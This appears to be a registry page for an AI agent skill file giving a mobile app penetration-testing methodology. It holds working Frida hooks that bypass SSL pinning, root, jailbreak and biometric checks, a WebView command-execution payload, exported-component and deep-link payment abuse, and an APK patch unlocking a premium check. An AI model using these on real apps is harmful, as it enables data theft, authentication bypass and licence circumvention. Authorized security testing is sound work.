offensive-mobile
Skill1 starsChanged 50 days agoMITView on GitHub
Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool/jadx for Android, class-dump/Hopper/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC / Intent redirection, WebView vulnerabilities (JavaScriptInterface, file:// access), Firebase/AWS/Azure misconfiguration leakage, mobile API testing, biometric/Face ID/Touch ID bypass, app-cloning and runtime patching, and mobile malware/RAT analysis primitives. Use for mobile pentest, bug bounty mobile triage, or app-store reconnaissance.
2 other projects use a version of this.
Adopted by
Most recently taken up by
- ajtazer/heckitword for word, first seen Sep 11, 2026
- SnailSploit/Claude-Redword for word, first seen Aug 6, 2026
Other versions2 projects use a version of this.
Word for word · 2
- SnailSploit/Claude-Red★ 7.5k100% same
- ajtazer/heckit★ 2100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository78 other files it gives its agents.
- offensive-active-directorySkill
- offensive-netexecSkill
- offensive-ai-securitySkill
- offensive-api-abuseSkill
- offensive-api-securitySkill
- offensive-jwtSkill
- offensive-oauthSkill
- offensive-cicd-pipelineSkill
- offensive-cicd-secretsSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- offensive-crypto-attacksSkill
- offensive-tls-attacksSkill
- offensive-basic-exploitationSkill
- offensive-crash-analysisSkill
- offensive-exploit-dev-courseSkill
- offensive-exploit-developmentSkill
- offensive-mitigationsSkill
- offensive-toctouSkill
- offensive-anti-forensicsSkill
- offensive-c2-frameworksSkill
- offensive-bug-identificationSkill
- offensive-fuzzing-courseSkill
- offensive-fuzzingSkill
- offensive-vuln-classesSkill
- offensive-advanced-redteamSkill
- offensive-edr-evasionSkill
- offensive-initial-accessSkill
- offensive-keylogger-archSkill
- offensive-shellcodeSkill
- offensive-windows-boundariesSkill
- offensive-windows-mitigationsSkill
- offensive-iotSkill
- offensive-network-attacksSkill
- offensive-data-exfiltrationSkill
- offensive-lateral-movementSkill
- offensive-persistenceSkill
- offensive-linux-privescSkill
- offensive-windows-privescSkill
- offensive-osint-methodologySkill
- offensive-osintSkill
- offensive-phishingSkill
- offensive-social-engineeringSkill
- offensive-dependency-confusionSkill
- offensive-supply-chainSkill
- offensive-fast-checkingSkill
- offensive-reportingSkill
- offensive-business-logicSkill
- offensive-deserializationSkill
- offensive-file-uploadSkill
- offensive-graphqlSkill
- offensive-idorSkill
- offensive-open-redirectSkill
- offensive-parameter-pollutionSkill
- offensive-race-conditionSkill
- offensive-rceSkill
- offensive-request-smugglingSkill
- offensive-sqliSkill
- offensive-ssrfSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 238
If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
- Very specific: line 360
Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), …
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Mobile (Android + iOS) — Offensive Testing Methodology
Quick Workflow
- Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
- Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
- Map exported attack surface: deep links, URL schemes, exported components
- Storage / Keystore audit: where do secrets live, what protects them
- API: every backend the app talks to is your scope — test like a web app
Lab Setup
Android
- Rooted device or Genymotion / Android Studio AVD with
userdebugbuild - Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
- Burp / Mitmproxy with system-trusted CA via Magisk module (
MagiskTrustUserCerts)
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
Static Analysis
Android
# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functionsiOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptionsDynamic Analysis & Frida
Common Hooks
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});Objection (Frida-based shortcuts)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dumpSSL / TLS Interception
Android Network Security Config
App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apkOr live-bypass with Frida (preferred — no recompile).
iOS ATS / Pinning
For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.
Exported / IPC Attack Surface
Android — Exported Components
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secretsTargets:
exported="true"activities → call from another app, bypass auth- ContentProviders without
grantUriPermissions→ arbitrary read - Receivers handling
BOOT_COMPLETEDetc. with privileged actions - Services bound by intent extras → command injection
Intent Redirection / PendingIntent Hijack
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identityiOS — URL Schemes / Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
iOS XPC / Mach Services
launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.
Insecure Data Storage
Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgzInspect:
shared_prefs/*.xml— preferences in plaintextdatabases/*.db— SQLite (usesqlite3to dump)files/— arbitrary writescache/and external storage (sdcard/Android/data/...) — often readable across apps
Android Keystore Misuse
- Keys created without
setUserAuthenticationRequired(true)→ use any time process is running - AES-GCM with reused IV (devs often hardcode IV)
- RSA without proper padding (PKCS1 v1.5 vs OAEP)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lockiOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
WebView Vulnerabilities
Android addJavascriptInterface
If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')file:// and Content://
WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.
iOS WKWebView
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandlerexposed — same JS bridge concern as Android- File URL load with
loadFileURLand broadallowingReadAccessTodirectory
Biometric / Auth Bypass
Android BiometricPrompt
Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});iOS LAContext
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.
Firebase / Cloud Misconfig (highest hit-rate)
Firebase Realtime DB (still common)
Pull URL from app:
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth readFirestore
Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.
S3 / GCS / Azure Blob
Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
Embedded API Keys
Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
truffleHog filesystem app_src/
gitleaks detect --source app_src/Mobile API Testing
The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
- Device-bound headers (
X-Device-ID,X-App-Version,X-Signature) often calculable client-side. Pull the algorithm from the binary. - Request signing: HMAC with key embedded in app → game over, sign anything.
- Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
- Older API versions still alive:
/api/v1/...retired in newer app, server still serving with weaker auth. - Push notification topics: subscribing to
/topics/<predictable>may receive messages meant for others (Firebase Messaging).
App Tampering & Repackaging
# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apkFor commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.
iOS Specifics
Entitlements
codesign -d --entitlements - Payload/App.app/AppLook for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).
URL Schemes from Other Apps
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];Any app can invoke any registered URL scheme. Validate sender? Most don't.
App Groups Shared Container
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/Multiple apps from same vendor share — secrets here cross app boundary.
Detection / Defender View
| Detector | Bypass |
| Frida server detection (port 27042 open) | Run frida-server on alt port, use frida -H |
Magisk detection via /sbin/magisk | Magisk Hide / DenyList |
| Emulator detection | Run on real device, or stub Build.FINGERPRINT etc. |
| iOS jailbreak detection (file existence) | Frida hook stat / fopen / dlopen |
Anti-debug ptrace(PT_DENY_ATTACH) | Frida-stalker-based, or kernel patch |
| Certificate pinning | Frida universal pinning bypass |
| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |
Engagement Checklist
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysisKey References
- OWASP MASTG (Mobile Application Security Testing Guide)
- OWASP MASVS — verification standard
- Frida CodeShare — codeshare.frida.re for ready-to-use hooks
- mobile-security-framework / MobSF for automated triage
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

